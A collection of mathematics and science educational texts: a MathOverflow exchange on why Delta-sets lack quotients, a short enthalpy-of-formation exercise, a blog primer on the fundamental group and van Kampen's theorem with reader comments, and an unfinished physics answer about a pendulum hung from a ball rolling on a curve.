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Why do Delta-sets not allow quotients? - MathOverflow most recent 30 from http://mathoverflow.net 2013-05-25T06:49:02Z http://mathoverflow.net/feeds/question/22855 http://www.creativecommons.org/licenses/by-nc/2.5/rdf http://mathoverflow.net/questions/22855/why-do-delta-sets-not-allow-quotients Why do Delta-sets not allow quotients? ferret 2010-04-28T14:31:16Z 2010-04-28T15:06:12Z <p>A $\Delta$-set is a contravariant functor from the category $\Delta'$ of order-preserving injections to the category of sets (this is essentially what Allen Hatcher calls a $\Delta$-complex).</p> <p>A main reason for working with simplicial sets instead of $\Delta$-sets should be that they allow quotients (see e.g. Allen Hatcher's nice appendix "CW complexes with simplicial structure" to his Algebraic Topology book: "A major disadvantage of $\Delta$-complexes is that they do not allow quotient constructions"), How does this go well with the fact that the category of functors $\Delta'op\to Sets$ <strong>has</strong> colimits?</p> <p>(This question was already asked in a comment on Allen Hatcher's answer to <a href="http://mathoverflow.net/questions/6281/definition-of-simplicial-complex/6302#6302" rel="nofollow">this</a> question on the definition of simplicial complexes. I apologize for asking it twice but there has been no answer given and I am afraid that the reason is - if it's not the silliness of my question - that the comment appears only after pressing the "more comments" button. However, I apologize.)</p> http://mathoverflow.net/questions/22855/why-do-delta-sets-not-allow-quotients/22864#22864 Answer by Tyler Lawson for Why do Delta-sets not allow quotients? Tyler Lawson 2010-04-28T15:06:12Z 2010-04-28T15:06:12Z <p>The basic issue is that not every function that we would like to describe between $\Delta$-complexes can be realized by a natural transformation between functors. The lack of degeneracy maps means that no map $X \to Y$ of $\Delta$-complexes that sends any simplex down to a degenerate simplex can be realized by a natural transformation of functors. For example, if $X$ is a $\Delta$-complex interval realizing $[0,1]$ and $Y$ is a $\Delta$-complex realizing $[0,1]^2$, then there is no natural transformation of functors realizing the projection maps <code>$p_i:[0,1]^2 \to [0,1]$</code>.</p> <p>As a consequence, the category of $\Delta$-complexes does not have enough immediately-available maps between objects to construct the kinds of colimit diagrams one would like to realize.</p>
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# The enthalpy of reaction for the reaction: is $\Delta_{r}H^{\circleddash }= - 572 kJ \; mol^{-1}$. What will be standard enthalpy of formation of $H_{2}O(l)$ ?
Standard molar enthalpy of formation is the enthalpy change for the formation of one mole of a compound from its most stable states or reference states. As per the given information in the question, the standard enthalpy for the given equation is – 572 kJ mol–1
Now the enthalpy of formation for will be half the enthalpy of the value in the given equation. So, now we can calculate that:
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The Fundamental Group — A Primer
Being part of the subject of algebraic topology, this post assumes the reader has read our previous primers on both topology and group theory. As a warning to the reader, it is more advanced than most of the math presented on this blog, and it is woefully incomplete. Nevertheless, the aim is to provide a high level picture of the field with a peek at the details.
An Intuitive Topological Invariant
Our eventual goal is to get comfortable with the notion of the “homology group” of a topological space. That is, to each topological space we will associate a group (really, a family of groups) in such a way that whenever two topological spaces are homeomorphic their associated groups will be isomorphic. In other words, we will be able to distinguish between two spaces by computing their associated groups (if even one of the groups is different).
In general, there may be many many ways to associate a group with an object (for instance, it could be a kind of symmetry group or a group action). But what we want to do, and what will motivate both this post and the post on homology, is figure out a reasonable way to count holes in a space. Of course, the difficult part of this is determining what it means mathematically to have a “hole” in a space.
The simplest example of this is a circle $S^1$:
That is, we think of this space (not embedded in any particular Euclidean space) as having a single one-dimensional “hole” in it. Furthermore, a sphere $S^2$ has a two-dimensional “hole” in it (the hollow interior).
So our approach to make “holes” rigorous will follow a commonly tread mathematical trail: come up with a definition which fits with our intuition for these special cases, and explore how the definition generalizes to other cases. In this post we will stick exclusively to one-dimensional holes (with a small exception when we take a peek at the chaos of higher homotopy groups at the end of this post), and the main object we use to represent them is called the fundamental group.
On the other hand, we will find that the fundamental group is too unwieldy to compute (and for deep reasons). Since we want to be able to readily compute the number of holes in twisted and tied-up spaces, we will need to scrap the fundamental group and try something else. Instead, we’ll derive various kinds of other groups associated to a topological space, which will collectively fall under the name homology groups. After that, we will be able to actually write a program which computes homology of sufficiently nice spaces (simplicial complexes). Our main use for this will actually be to compute the topological features of a data set, but let’s cross that bridge when we get to it.
For now, we will develop the idea of homotopy and the fundamental group. It will show us how to think geometrically about topology and give us our first interplay between topology and algebra.
Paths and Homotopy
For the remainder of this post (and all of our future posts in topology), a map will always mean a continuous function. The categorical way to say this, which we will use increasingly often as we approach more advanced topics, is by saying that continuous maps are “the morphisms in the category of topological spaces.”
So we define by a path in a topological space $X$ to be a map $f(t):[0,1] \to X$ (that is, a continuous function $[0,1] \to X$). There are many kinds of paths in a space:
An example of three paths in the plane.
Paths are necessarily oriented, and we can think of the starting point of the path as $f(0)$, and the ending point as $f(1)$. And if we label the starting point, say, $a$ and the ending point $b$ we will call $f$ a path from $a$ to $b$. We call $a,b$ the endpoints of $f$. We also speak of “moving along a path,” in the sense that as we increase $t$ from zero to one, we continuously move along its image in $X$. We certainly allow paths to intersect themselves, as in the blue path given above, and we do not require that paths are smooth (in fact, they need not be differentiable in any sense, as in the green path above). We will call a path simple if it is injective (that is, it doesn’t intersect itself). The black and green paths in the figure above are simple. The most trivial of paths is the constant path. We will denote it by $1_x$ and it is simply defined by sending the entire interval to a single point $t \mapsto x$.
The language of paths already gives us a nice topological invariant. We call a space $X$ path-connected if for every two points $a,b \in X$ there exists a path from $a$ to $b$. The knowledgeable reader will recognize that this is distinct from the usual topological notion of connectedness (which is in fact weaker than path-connectedness). It is not hard to see that if two topological spaces $X, Y$ are homeomorphic, then $X$ is path connected if and only if $Y$ is path connected. As a quick warmup proof, we note that any map giving a homeomorphism $\varphi: X \to Y$ is continuous, and the composition of a path with any map is again a path:
$\displaystyle \varphi \circ f: [0,1] \to Y$
By path connectivity in $X$ and the fact that $\varphi$ is surjective, we can always find a path between any two points $a,b \in Y$: just find a path between $\varphi^{-1}(a), \varphi^{-1}(b) \in X$ and shoot it through (compose it with) $\varphi$. The same argument goes in the reverse direction using $f^{-1}$, and this establishes the if and only if.
Back to our mission of describing holes, we want to be able to continuously transform two paths into each other. That is, in the following picture, we want to be able to say that the red and blue paths are “equivalent” because we can continuously slide one to the other, while always keeping the endpoints fixed.
We can continuously transform the red path into the blue path; these two paths are homotopic.
On the other hand, if there is a hole in the space, as shown by the black disk below, no way to slide the red path to the blue path can be continuous; it would need to “jump” over the hole, which is a non-continuous operation. Indeed, no matter how small this hole is we can never overcome this problem; even if just a single point is missing, the nature of continuity ensures it.
The black “hole” in this plane makes it so the red path cannot be continuously transformed into the blue path; these paths are not homotopic.
In order to make this rigorous, we need to define a “path of paths,” so to speak. That is, we need a continuously parameterized family of continuous maps which for the parameter 0 gives the first path, and for 1 the second path.
Definition: Let $f, g: [0,1] \to X$ be two paths in $X$ with the same endpoints. A homotopy from $f$ to $g$ is a family of paths $H_s: [0,1] \to X$ such that the following properties hold:
• $H_0 = f$ as paths in $X$
• $H_1 = g$ as paths in $X$
• For all $s$, the path $H_s(t)$ has the same endpoints as $f$ and $g$.
• $H_s(t)$ is continuous in $s$ and $t$ simultaneously
If there is a homotopy between two paths, we call the two paths homotopic, and denote the relationship $f \simeq g$.
We often think of $s$ as the time variable, describing how far along we are in the transformation from $f$ to $g$. Here is a nice animation showing a homotopy of two paths:
A homotopy of paths, credit Wikipedia.
But don’t be fooled by the suggestive nature of these paths. While it will often be the case that two paths which are homeomorphic as topological spaces in themselves (viewed as subspaces of $X$) will be homotopic, this is neither a sufficient nor a necessary condition for a homotopy to exist. Indeed, one can come up with a homotopy between a simple curve and a non simple curve, but these are not homeomorphic spaces (one has a cut-point). And in our picture above we give an example of two simple curves which are not homotopic: there is a hole in $X$ that stops them from being so. So the existence of a homotopy depends almost entirely on the space that the paths are in, and on where the paths are in that space. This is good, because in the end we don’t care about the paths. We just care about what they tell us about $X$.
Often times we will not need to give explicit homotopies; they can be quite complicated to construct. But here’s one widely used example: let us take two paths $f,f'$ in the Euclidean plane from $a$ to $b$. Then we can construct the straight line homotopy between them as follows. Set $H_s(t) = sf(t) + (1-s)f'(t)$. For $s=0$ we get the path $f'(t)$; for $s=1$ we get the path $f$; and for any fixed value of $s$ we get a path from $a$ to $b$ (plug in $t=0,1$ and verify the endpoints agree, and that the function is continuous in both variables). This example shows that all paths with the same endpoints in $\mathbb{R}^2$ are homotopic. The same is true of $\mathbb{R}^n$ in general, and we will use this fact later.
Because every path is homotopic to itself (the constant homotopy $H_s(t) = f(t)$ for all $s$), homotopy is symmetric ($H_{-s}(t)$ gives an inverse homotopy $g$ to $f$), and homotopy is transitive (given in the parenthetical below), homotopy becomes an equivalence relation on paths in $X$. So we may speak of the equivalence class of a path $f$ as the set of all paths homotopic to it.
(Transitivity: given homotopies $H_s(t)$ and $G_{s}(t)$ from $f \to g \to h$, we can construct a homotopy from $f \to h$ as follows. The main difficulty is that the variable in our homotopy must go from 0 to 1, and so we cannot directly compose $H$ and $G$. Instead, we “run $H$ twice as fast” and then “run $G$ twice as fast.” That is, we define $\Phi_s(t)$ piecewise to be $H_{2s}(t)$ when $s \in [0,1/2]$ and $G_{2s-1}(t)$ when $s \in [1/2, 1]$. The composition of continuous functions is continuous, so changing the $s$ variable doesn’t break continuity. Moreover, since at time $s=1/2$ the homotopies $G,H$ coincide, and elsewhere they are continuous, we preserve continuity everywhere.)
This equivalence relation is precisely what we’ll use to define the existence of a hole. Intuitively speaking, if two paths with the same endpoints are not homotopic to each other, then there must be some obstruction stopping the homotopy. Then the number of distinct equivalence classes of paths with fixed endpoints will count the number of holes (plus one). Because endpoints are a little bit messy (one has to pick $n+1$ endpoints for $n$ non-equivalent paths to count $n-1$ holes), we instead implement this idea with loops.
Definition: A path $f:[0,1] \to X$ is a loop if $f(0)=f(1)$. Since the two endpoints of a loop are the same, we call it the basepoint.
With loops or with paths, we need one more additional operation. The operation is called path composition, but it essentially “doing one path after the other.” That is, let $f, g$ be paths in $X$ such that $f(1) = g(0)$. Then to compose $g$ after $f$, denoted via juxtaposition $gf$, is the path defined by $gf(t) = f(2t)$ when $t \in [0,1/2]$ and $gf(t) = g(2t-1)$ when $t \in [1/2, 1]$. The same argument for “composing” homotopies works here: we run along $f$ at twice the normal speed and then $g$ at twice its normal speed to get $gf$.
And now we turn to the main theorem of this post.
The Fundamental Group
Instead of looking at paths, we will work with loops with a fixed basepoint. The amazing thing that happens is that the set of equivalence classes of loops (with respect to homotopy) forms a group.
Definition: Let $X$ be a topological space and fix a point $x_0 \in X$. Define by $\pi_1(X,x_0)$ the set of equivalence classes of loops with basepoint $x_0$. This set is called the fundamental group of $X$ (although we have not yet proved it is a group), or the first homotopy group of $X$.
Theorem: The fundamental group is a group with respect to the operation of path composition.
Proof. In order to prove this we must verify the group operations. Let’s recall them here:
• The group must be closed under the group operation: clearly the composition of two loops based at $x_0$ is again a loop at $x_0$, but we need to verify this is well-defined. That is, the operation gives the same value regardless of which representative we choose from the equivalence class.
• The group operation must be associative.
• The group must have an identity element: the constant path $t \mapsto x_0$ will fill this role.
• Every element must have an inverse: we will show that the loop which “runs in reverse” will serve this purpose.
To prove the first point, let $f, g$ be loops, and suppose $f', g'$ are homotopic to $f,g$ respectively. Then it should be the case that $fg$ is homotopic to $f'g'$. Suppose that $H^1, H^2$ are homotopies between relevant loops. Then we can define a new homotopy which runs the two homotopies simultaneously, and composes their paths for any fixed $s$. This is almost identical to the original definition of a path composition, since we simply need to define our new family of loops $H$ by composing the loops $H^1_s$ and $H^2_s$. That is,
$H_s(t) = H^1_s(2t)$ for $t \in [0,1/2]$ and
$H_s(t) = H^2_s(2t-1)$ for $t \in [1/2, 1]$
So the operation is well-defined on equivalence classes.
Associativity is messier to prove, but has a similar mechanic. We just need to define a homotopy which scales the speed of each of the paths for a fixed $s$ to be in sync. We omit the details for brevity.
For the identity, let $f$ be a path and $e$ denote the constant path at $late x_0$. Then we must find a homotopy from $ef$ to $f$ and $fe$ to $f$. Since the argument is symmetric we prove the former. The path $ef$ sits at $x_0$ for half of the time $t \in [0,1]$ and performs $f$ at twice speed for the rest. All we need to do is “continuously move” the time at which we stop $e$ and start $f$ from $t=1/2$ to $t=0$, and run $f$ faster for the remaining time. We can equivalently perform this idea backwards (the algebra is simpler) to get
$H_s(t) = x_0$ for $t \in [0, s/2]$, and
$H_s(t) = f((2t-s)/(2-s))$ for $t \in [s/2, 1]$.
To verify this works, plugging in $s=0$ gives precisely the definition of the composition $ef$, and for $s=1$ we recover $f(t)$. Moreover for any value of $s$ setting $t=0$ gives $x_0$ and $t=1$ gives $f(1)$. Finally, the point at which the two pieces meet is $t = s/2$, and we only need verify that the piecewise definition agrees there. That is, the argument of $f$ must be zero for that value of $t$ regardless of the choice of $s$. Indeed it is.
Finally, for inverses define $f^-(t) = f(1-t)$ to be the “reverse path” of $f$. Now we simply need to prove that $ff^-$ is homotopic to $e$. That is, we need to run $f$ part way, and then run $f^-$ starting from that spot in the reverse direction. The point at which we stop to turn back is $t=(1-s)$, which continuously moves from $t=1$ to $t=0$. We leave the formal specification of this homotopy as an exercise to the reader (hint: we need to appropriately change the speed at which $f, f^-$ run in order to make everything fit together). From here on we will identify the two notations $f^{-1} = f^-$ as homotopy equivalence classes of paths. $\square$
The high-level implications of this theorem are quite important. Although we have not proved it here, the fundamental group is a topological invariant. That is, if $X$ and $Y$ are two topological spaces, $x_0 \in X, y_0 \in Y$, and there is an isomorphism $f:X \to Y$ which takes $x_0 \mapsto y_0$, then $\pi_1(X,x_0) \cong \pi_1(Y,y_0)$ are isomorphic as groups. That is (and this is the important bit) if $X$ and $Y$ have different fundamental groups, then we know immediately that they cannot be homeomorphic. The way to prove this is to use $f$ to construct a new induced homomorphism of groups and proving that it is an isomorphism. We give a description of this in the next section.
In fact, we can say something stronger: the fundamental group is a homotopy invariant. That is, we can generalize the idea of a path homotopy into a “homotopy of maps,” and say that two spaces $X, Y$ are homotopy equivalent if there are maps $f: X \to Y, g: Y \to X$ with $fg \simeq \textup{id}_Y$ (the identity function on $Y$) and $gf \simeq \textup{id}_X$. The important fact is that two spaces which are homotopy equivalent necessarily have isomorphic fundamental groups. It should also be clear that homeomorphic spaces are homotopy equivalent (the homeomorphism map is also a homotopy equivalence map), so this realizes the fundamental group as a topological invariant as well. We will not prove this here, and instead refer to Hatcher, Chapter 1.
An important example of two spaces which are homotopy equivalent but not homeomorphic is that of the Möbius band and the circle. Proving it requires some additional tools we haven’t covered on this blog, but the idea is that one can squeeze the Möbius strip down onto its center circle, and so the loops in the former correspond to loops in the latter. So the Möbius band also has fundamental group $\mathbb{Z}$.
Additionally, if the space $X$ is path-connected, then the choice of a basepoint is irrelevant. A sketch of the proof goes as follows: let $x_0, x_1$ be two choices of basepoints, and pick a path $p$ from $x_0$ to $x_1$. Then we can naturally take any loop $f$ based at $x_1$ to a corresponding loop at $x_0$ by composing $p^-fp$ as in the following picture (here we traverse the paths in left-to-right order, which is the opposite of how function composition usually works; this is so we can read the paths from left-to-right in the order they are traversed in the diagram).
An example of a change of basepoint map.
More rigorously this operation induces a homomorphism on the fundamental group (we define this fully in the next section), and for path connected spaces this is an isomorphism of groups. And so we can speak of the fundamental group $\pi_1(X)$ when we work with sufficiently nice spaces (and in practice we always will).
Computing Fundamental Groups
So now we have seen that the fundamental group is in fact a group, but how can we compute it? Groups can be large and wild, and so can topological spaces. So it’s really impressive that we can compute these groups at all.
First off, the simplest possibility is that the fundamental group of $X$ is the identity group. That is, that every loop is homotopic to the trivial loop. In this case we call $X$ simply connected. For example, Euclidean space is simply connected. We gave the proof above showing that any two paths with the same endpoints in $\mathbb{R}^2$ are homotopic, and the proof is the same in general. Since all loops are homotopic to each other, they are all homotopic to the trivial loop, and so $\pi_1(\mathbb{R}^n) = 1$ is the trivial group. The picture becomes more interesting when we start to inspect subspaces of Euclidean space with nontrivial holes in them.
In fact, the first nontrivial fundamental group one computes in developing this theory is that of the circle $\pi_1(S^1) = \mathbb{Z}$. We again defer the proof to Hatcher because it is quite long, but the essential idea is as follows. View the circle as a subset of the complex plane $\mathbb{C}$, and fix the basepoint $x_0 = 0$. The only distinct kinds of loops are those loops which loop around the circle $n$ times clockwise, or $n$ times counterclockwise, where $n \in \mathbb{Z}$ is arbitrary. That is, we can construct a function $f: \mathbb{Z} \to \pi_1(S^1)$ sending $n$ to the loop $t \mapsto e^{2 \pi i nt}$ which goes $n$ times around the circle (negative $n$ make it go in the negative direction). This map is an isomorphism.
From this one computation we get quite a few gains. As we will see in a moment, many fundamental groups are free products of $\mathbb{Z}$ with added relators, and the upcoming van Kampen theorem tells us how these relators are determined. On the other hand, we have already seen on this blog that the fundamental group of the circle is powerful enough to prove the fundamental theorem of algebra! It is clear from this that $\pi_1$ is a powerful notion.
Let’s take a moment to interpret this group in terms of the number of “holes” of $S^1$. There may be some confusion because this group is infinite, but there is only one hole. Indeed, for each “hole” of a space one would expect to get a copy of $\mathbb{Z}$, since one may run a loop arbitrarily many times around that hole in either clockwise or counterclockwise direction. Recall the classification theorem for finitely generated abelian groups from our recent primer. Since every such abelian group decomposes into a finite number of copies of $\mathbb{Z}$ and a torsion part, then we should be interpreting the number of holes of $X$ as the rank of $\pi_1(X)$ (the number of copies of $\mathbb{Z}$).
This is great! But unfortunately nothing guarantees that the fundamental group is abelian, and for more complicated spaces things aren’t even so simple in the abelian case. In a moment, we will see an example of a space with a nonabelian fundamental group (in fact, we’ve already seen this space on this blog). One of its pieces will be $\mathbb{Z}/2\mathbb{Z}$. So our interpretation would say that this space has no holes in it, but what does the extra torsion factor mean? As it turns out the specific factor $\mathbb{Z}/2\mathbb{Z}$ happens to correspond to non-orientability.
In fact it is true that for every group $G$, there is a two-dimensional topological space whose fundamental group is $G$ (we haven’t defined dimension yet, but the notion of a surface is intuitive enough). So any weird torsion factor shows up in the fundamental group of some sufficiently awkward space. When one starts to investigate more and more of these contrived spaces, one ceases to care about the “intuitive” interpretations of the fundamental group. The group simply becomes a topological invariant, and the extra factors are just extra ways to tell spaces apart.
We want to state a powerful tool for computing fundamental groups whose rigorous version is called the van Kampen theorem. The intuition is as follows. Imagine we have a so-called “wedge” of two circles.
A wedge of two circles: two circles which intersect at a single point.
From our intuition of this space as two copies of a circle, we would expect its fundamental group to be $\mathbb{Z}^2$. Unfortunately it is not, because we can immediately see that the fundamental group of this space is not commutative. In particular, let us label the loops $a$ and $b$, and give them orientation:
Then the loop $ab$ (we traverse these loops in left-to-right order for ease of reading) is not homotopic to the loop $ba$. Instead, this group should be the free group on the generators $a, b$. Recall from our second primer on group theory that this means the two generators have no nontrivial relations between them. The reason it is free is because the intersection of the two circles (whose fundamental groups we know separately) is simply connected. If it were not, then there would be some relations. For instance, let us look at the torus $X = T^1$, and recall its formulation as a quotient of a disk.
Here the two top edges and sides are identified, and so we can label the loops as follows:
Then the boundary of the original disk is just $aba^{-1}b^{-1}$. Since any loop bounding a disk is homotopic to a constant loop (the straight line homotopy works here), we see that the loop $aba^{-1}b^{-1} = 1$ in $\pi_1(X)$. That is, we still have two generators $a,b$ corresponding to the longitudinal and latitudinal circles, but traversing them in the right order is the same as doing nothing. This youtube video gives an animation showing the homotopy in action. So the fundamental group of the torus has presentation:
$\displaystyle G = \left \langle a,b | aba^{-1}b^{-1} = 1 \right \rangle$
This is obviously just $\mathbb{Z}^2$, since the defining relation is precisely saying that the two generators commute: $ab=ba$. That is, it is the free abelian group on two generators.
Before we can prove the theorem in general we need to define an induced homomorphism. Given two spaces $X, Y$ and a map $f: X \to Y$, one gets a canonical induced map $f^*: \pi_1(X) \to \pi_1(Y)$. If we consider basepoints, then we also require that $f$ preserves the basepoint. The induced map is defined by setting $f^*(p)$ to be the equivalence class of the loop $fp$ of $Y$. Recalling that $fp$ is indeed a loop whenever $f$ is continuous, it is not hard to see that this is a homomorphism of groups. It is certainly not in general an isomorphism; for instance the trivial map which sends all of $X$ to a single point will not preserve nontrivial loops. But as we will see in the van Kampen theorem, for some maps it is.
One interesting example of an induced homomorphism is that of the inclusion map. Let $Y \subset X$ be a subspace, and let $i: Y \hookrightarrow X$ be the inclusion map $i(y) = y$. This will often not induce an isomorphism $i^*$ on fundamental groups. For example, the inclusion of $S^1 \hookrightarrow \mathbb{R}^2$ is not a constant map, but it induces the constant map on fundamental groups since there is only one group homomorphism from any group to the trivial group $\mathbb{Z} \to 1$. That is, the kernel of $i^*$ is all of $\mathbb{Z}$. Intuitively we are “filling in” the hole in $S^1$ with the ambient space from $\mathbb{R}^2$ so that the loop generating $\mathbb{Z}$ is homotopic to the trivial loop. Thus, we are killing all of the loops of the circle.
The more important remark for the van Kampen theorem is, recalling our primer on group theory, that any collection of homomorphisms on groups $\varphi_{\alpha} : G_{\alpha} \to H$ extends uniquely to a homomorphism on the free product $\varphi: \ast_{\alpha} G_{\alpha} \to H$. The main goal of this theorem is to give us a way to build up fundamental groups in the same way we build up topological spaces. And it does so precisely by saying that this $\varphi$ map on the free product is surjective. Using the first isomorphism theorem (again see our primer), this will allow us to compute the fundamental group of a space $X$ given subspaces $A_{\alpha}$ and by analyzing the kernels of the homomorphisms induced by the inclusions $i_{\alpha}: A_{\alpha} \to X$.
The last thing we need to set up this theorem is a diagram. If we have two subspaces $A_{\alpha}, A_{\beta}$ and we look at the inclusion $i: A_{\alpha} \cap A_{\beta} \to X$, we could define it in one of two equivalent ways: first by going through $A_{\alpha}$ and then to $X$, or else by going through $A_{\beta}$ first. The diagram is as follows:
However, the induced homomorphism will depend on this choice! So we denote $i_1^* : A_{\alpha} \cap A_{\beta} \to A_{\alpha}$ to include into the first piece, and $i_2^*$ to include on the second piece $A_{\beta}$. The diagram here is:
Now we can state the theorem (and it is still quite a mouthful).
Theorem: (van Kampen) Let $X$ be the union of a family of path-connected open subspaces $A_{\alpha}$, each of which contains the chosen basepoint $x_0 \in X$. Let $i_{\alpha}: A_{\alpha} \to X$ be inclusions, $i_{\alpha}^*$ the induced homomorphisms, and $\varphi$ the unique extension of the inclusion $i_{\alpha}^*$ to the free product $\ast_{\alpha} \pi_1(A_{\alpha}, x_0)$.
• If all intersections of pairs $A_{\alpha} \cap A_{\beta}$ are path-connected, then $\varphi$ is a surjection.
• If in addition all triple intersections $A_{\alpha} \cap A_{\beta} \cap A_{\gamma}$ are path-connected, then the kernel of $\varphi$ is the smallest normal subgroup $N$ generated by the elements $i_1^*(x)i_2^*(x)^{-1}$ for $x \in \pi_1(A_{\alpha} \cap A_{\beta})$.
In particular, the first isomorphism theorem gives an isomorphism $\ast \pi_1(A_{\alpha}) / N \cong \pi_1(X)$. That is, we can compute the fundamental group of $X$ by knowing the fundamental groups of the pieces $A_{\alpha}$ and a little bit of extra information.
We do not have the stamina to prove such a massive theorem on this blog. However, since we have done so much just to state it, we would be cheating the reader by omitting any examples of its usage.
Let’s again look at the torus $T^1$. Viewing it as in our previous primer on constructing topological spaces, it is the following quotient of a disk:
Split the disk into two subspaces $A,B$ as follows:
Note how these spaces overlap in an annulus whose fundamental group we’ve already seen is $\mathbb{Z}$. Moreover, the fundamental group of $A$ is trivial, and the fundamental group of $B$ is $\mathbb{Z} \ast \mathbb{Z} = \left \langle a,b \right \rangle$. To see the latter, note that the torus with a disk removed is homotopy equivalent to a wedge of two circles. A simple exercise (again using the van Kampen theorem) finishes the computation of $\pi_1(B)$. As we said, the intersection $A \cap B$ has fundamental group $\mathbb{Z} = \left \langle c \right \rangle$ (it is just an annulus).
So according to the van Kampen theorem, the fundamental group of $T^1$ is the free group on two generators, modulo the normal subgroup found by identifying the images of the two possible induced homomorphisms $\pi_1(A \cap B) \hookrightarrow \pi_1(X)$. On one hand the image going through $\pi_1(A)$ is trivial because the group itself is trivial. On the other hand the image going through $\pi_1(B)$ is easily seen to be homeomorphic to an oriented traversal of the boundary path $aba^{-1}b^{-1}$. Indeed, this gives rise to a single relator: $aba^{-1}b^{-1} = 1$. So this verifies the presentation we gave for the fundamental group of the torus above.
A nearly identical argument gives nearly identical presentations for the Klein bottle. There is a slightly different presentation for the real projective plane, and it is interesting because there is a topological hole, but the group is just $\mathbb{Z}/2\mathbb{Z}$. We leave this as an exercise to the reader, using the representation as a quotient of the disk provided in our previous primer.
Our second example is that of the n-sphere $S^n$. We already know $\pi_1(S^1) = \mathbb{Z}$, but in fact $\pi_1(S^n)$ is trivial for all larger $n$. Inductively, we can construct $S^n$ from two copies of the open ball $B^n$ by taking one to be the northern hemisphere, one to be the southern hemisphere, and their intersection to be the equator (or rather, something homotopy equivalent to $S^{n-1}$).
For the case of $S^2$, we have that each hemisphere is an open ball centered at the poles (though the center is irrelevant), and the intersection is an annulus which is homotopy equivalent to $S^1$. Each of the two pieces is simply connected (in fact, homeomorphic to $\mathbb{R^n}$), and so by van Kampen’s theorem the fundamental group of $S^2$ is the free product of two trivial groups (modulo the trivial subgroup), and is hence the trivial group.
This argument works in general: if we know that each of the $D^n$ have trivial fundamental groups, and each of the possible intersections $S^{n-1}$ are path-connected (which is easy to see by looking at the construction via a simplicial complex), then van Kampen’s theorem guarantees that the fundamental group of $S^n$ is trivial.
So as we have seen, the fundamental group is a nice way to compute the number (or the structure) of the one-dimensional holes of a topological space. Unfortunately, even for the nicest of spaces (simplicial complexes) the problem of computing fundamental groups is in general undecidable. In fact, we get stuck at a simpler problem. The problem of determining whether the fundamental group of a finite simplicial complex is trivial is undecidable.
That is, for programmers the fundamental group is practically useless, though there are some special cases.
Higher Homotopy Groups
There is an obvious analogue for 2-, 3-, and n-dimensional holes. That is, we can define the $n$-th homotopy group of a space $X$, denoted $\pi_n(X)$ to be the set of homotopy equivalence classes of maps $S^n \to X$. Homotopy groups $\pi_n(X)$ for $n > 1$ are called higher homotopy groups.
As one would expect, higher homotopy groups are much more difficult and even harder to compute. In fact, the only reason we bring this up in this primer is to intimidate the reader: we don’t even know a general way to compute the higher homotopy groups of the sphere.
In particular, here is a table of the known higher homotopy groups of the sphere.
The known higher homotopy groups of spheres. Credit Wikipedia.
The thick black line shows the boundary between where the patterns are well-known and understood (below) and the untamed wilderness (above). This table solidifies how ridiculous the higher homotopy groups can be. As such, they are unsuitable for computational purposes.
Nevertheless, the homotopy groups are relatively easy to understand in terms of intuition, because a homotopy is easily visualized. In our next primer, we will trade this ease of intuition for ease of computation. In particular, we will develop the notion of a homology group, and for simplicial complexes their computation will be about as simple as matrix reduction.
Once this is done, we will extend the idea of homology to apply to data sets (which should not themselves be considered as topological spaces), and we will be able to compute the topological features of a data set. This is our ultimate goal, but the mathematics we lay down along the way will have their own computational problems that we can explore on this blog.
Until next time!
8 thoughts on “The Fundamental Group — A Primer”
1. james
Hey Jeremy, these two sentences seem to contradict each other: “Then all isomorphic spaces are homotopy equivalent but not all homotopy equivalent spaces are isomorphic. So one usually proves that homotopy equivalent spaces have isomorphic fundamental groups”
I think the first sentence should be “all homotopy equivalent spaces are isomorphic but not all isomorphic spaces are homotopy equivalent”
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• Perhaps I should say, topological isomorphism is stronger than homotopy equivalence, and homotopy equivalence implies (and is stronger than) fundamental group isomorphism. That is, isomorphism of topological spaces -> homotopy equivalence -> fundamental groups are isomorphic, but none of the reverse implications are true.
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• james
Yes that makes sense. I mistakenly interpreted isomorphic spaces as meaning spaces with isomorphic fundamental groups, not homeomorphic spaces.
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• Category theory really screws with my brain because I start calling everything an isomorphism.
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• james
Ha, I know what you mean. In this context though, I didn’t think you meant it in the categorical sense given it’s meant as an introduction, but I was wrong. Either way, keep up the good work!
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2. Szymon
Hi Jeremy, I’m a CS and math student, interested in ML, and the usage of algebraic topology in ML seems extremly interestning. Could you recommend some readings for me, I wanted to learn more about this topic. I’m ok with texts that assume some knowledge of abstract algebra and topology (and actually even prefer them).
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• So far I’ve been looking hard but haven’t really found much that falls into the category of ML using topology. I have found some good “data mining using topology,” and I have to emphasize that it’s almost strictly qualitative as opposed to quantitative. That is, it’s much more like descriptive statistics than automated classification. That being said, there is a big list of papers coming out of Stanford on that topic, and probably the easiest introduction is this survey paper of Carlsson.
I’ve been meaning to actually present a simplified version of the material (mostly, the algorithm) on this blog, but there’s just so much topology and algebra background to present first that it’s been taking a while. This post was meant to be a precursor to homology (and hence, to persistent homology…).
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• Szymon
Thank you, these are all great reads, can’t wait to get my head around them!
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# How to find equation of motion of the bob in this situation? [closed]
Imagine a ball is travelling in a bumpy road like the graph $$\sin x$$ (I'm using $$\sin x$$ just as an example, it has no significance in the question I guess).
So, a ball is travelling in this way and a bob of pendulum is hanging from it and having a harmonic motion. Can anyone give me idea how we can find the bob's equation of motion here?
• The shape of the road is definitely significant. Aug 15 at 13:15
Assume the ball of is rolling on the graph of the function $$y = f(x)$$. Let $$m_1$$ be the mass of the ball with radius $$R$$ and denote $$\vec{r}_1 = (x_1,y_1)$$ the position of its center of mass.
Let $$m_2$$ be the mass of the bob and let $$\vec{r}_2 = (x_2,y_2)$$ be its position. Assume $$\theta$$ is the displacement angle of the bob from the vertical and let $$L$$ be the length of the string.
If the ball rotates with angular velocity $$\omega$$, the kinetic and potential energy of the system are $$T = \frac12I\omega^2 + \frac12m_1\dot{r}_1^2 + \frac12m_2\dot{r}_2^2, \qquad V = mgy_1 - m_2g L\cos\theta.$$
1. In the first term we have $$I = \frac25m_1R^2$$ and if the ball is rolling without slipping we have $$R\omega = v$$ where $$v$$ is the velocity of the ball along the curve. The ball traces the arc length of the curve so we have $$\int_0^t v(t)\,dt = \int_{x_T(0)}^{x_T(t)}\sqrt{1+f'(x)^2}\,dx$$ where $$(x_T, y_T)$$ is the position of the contact point of the sphere and the curve. Applying $$\frac{d}{dt}$$ gives $$v(t) = \sqrt{1+f'(x_T(t))^2}\dot{x}_T(t)$$ so $$\omega = \frac1R \sqrt{1+f'(x_T)^2}\dot{x}_T.$$
